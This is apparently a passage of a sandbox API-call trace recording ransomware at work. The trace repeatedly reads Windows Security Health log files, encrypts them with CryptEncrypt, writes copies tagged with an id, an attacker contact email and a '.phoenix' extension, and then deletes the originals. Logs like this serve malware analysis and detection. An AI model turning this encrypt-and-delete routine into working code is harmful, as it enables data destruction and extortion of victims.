	[0249.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.991] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.991] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.991] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0249.992] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.992] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0249.992] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0249.992] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2000, lpOverlapped=0x0) returned 1
	[0250.005] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2010, dwBufLen=0x2010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2010) returned 1
	[0250.005] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2010, lpOverlapped=0x0) returned 1
	[0250.006] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0250.006] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.006] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0250.006] CryptDestroyKey (hKey=0x151640) returned 1
	[0250.006] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0250.007] CryptDestroyKey (hKey=0x151440) returned 1
	[0250.007] CloseHandle (hObject=0x2c4) returned 1
	[0250.007] CloseHandle (hObject=0x2e8) returned 1
	[0250.007] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.008] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.008] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0250.010] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0250.010] CloseHandle (hObject=0x2f0) returned 1
	[0250.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2000
	[0250.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.011] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0250.011] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.011] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.011] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0250.011] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0250.011] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.011] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1000, lpOverlapped=0x0) returned 1
	[0250.019] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010, dwBufLen=0x1010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010) returned 1
	[0250.019] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1010, lpOverlapped=0x0) returned 1
	[0250.020] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0250.020] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.020] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0250.020] CryptDestroyKey (hKey=0x151200) returned 1
	[0250.020] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0250.020] CryptDestroyKey (hKey=0x151600) returned 1
	[0250.020] CloseHandle (hObject=0x2f0) returned 1
	[0250.020] CloseHandle (hObject=0x2d8) returned 1
	[0250.042] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.045] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.045] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.052] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0250.052] CloseHandle (hObject=0x2c4) returned 1
	[0250.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0250.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.053] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.053] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.053] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.053] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.055] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1514c0) returned 1
	[0250.055] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.055] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1000, lpOverlapped=0x0) returned 1
	[0250.064] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010, dwBufLen=0x1010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010) returned 1
	[0250.064] WriteFile (in: hFile=0x2d4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1010, lpOverlapped=0x0) returned 1
	[0250.065] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0250.065] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.065] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0250.065] CryptDestroyKey (hKey=0x151600) returned 1
	[0250.065] WriteFile (in: hFile=0x2d4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0250.066] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0250.066] CloseHandle (hObject=0x2c4) returned 1
	[0250.066] CloseHandle (hObject=0x2d4) returned 1
	[0250.066] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.067] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.067] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.068] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0250.068] CloseHandle (hObject=0x2d4) returned 1
	[0250.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0250.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.068] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.068] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.068] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.068] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.068] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0250.069] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.069] ReadFile (in: hFile=0x2d4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1000, lpOverlapped=0x0) returned 1
	[0250.110] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010, dwBufLen=0x1010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010) returned 1
	[0250.110] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1010, lpOverlapped=0x0) returned 1
	[0250.111] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1514c0) returned 1
	[0250.111] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.111] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0250.112] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0250.112] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0250.112] CryptDestroyKey (hKey=0x151440) returned 1
	[0250.112] CloseHandle (hObject=0x2d4) returned 1
	[0250.112] CloseHandle (hObject=0x2c4) returned 1
	[0250.112] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.113] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.113] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.113] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0250.113] CloseHandle (hObject=0x2c4) returned 1
	[0250.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0250.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.114] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.114] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.114] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.114] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.114] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0250.114] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.114] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2000, lpOverlapped=0x0) returned 1
	[0250.134] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2010, dwBufLen=0x2010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2010) returned 1
	[0250.134] WriteFile (in: hFile=0x2d4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2010, lpOverlapped=0x0) returned 1
	[0250.135] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0250.135] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.135] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0250.135] CryptDestroyKey (hKey=0x151440) returned 1
	[0250.135] WriteFile (in: hFile=0x2d4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0250.135] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0250.135] CloseHandle (hObject=0x2c4) returned 1
	[0250.136] CloseHandle (hObject=0x2d4) returned 1
	[0250.136] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.137] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.137] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
